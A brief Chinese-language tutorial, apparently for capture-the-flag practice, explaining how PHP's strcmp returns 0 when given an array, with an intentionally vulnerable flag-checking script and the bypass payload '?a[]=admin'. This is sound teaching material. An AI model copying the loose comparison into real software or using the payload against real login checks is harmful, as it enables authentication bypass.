php strcmp函数漏洞
strcmp函数漏洞
适用5.3版本以前的php
函数作用:字符串比较
要求传入字符串。如果传入非字符串呢?
结果函数报错!但是函数返回“0” 。 虽然报错了但函数的判断却是“相等”
如何传入非字符串?答案是传入数组
将变量的结尾加上“[ ]” 将其构造为数组。
例子:
<?php $flag = "flag{xxxxx}"; if (isset($_GET['a'])) { if (strcmp($_GET['a'], $flag) == 0) die('Flag: '.$flag); else print 'No'; } ?>
payload: ?a[]=任意字符 这里输入?a[]=admin 即可获得flag!
总结整理自:https://blog.csdn.net/cherrie007/article/details/77473817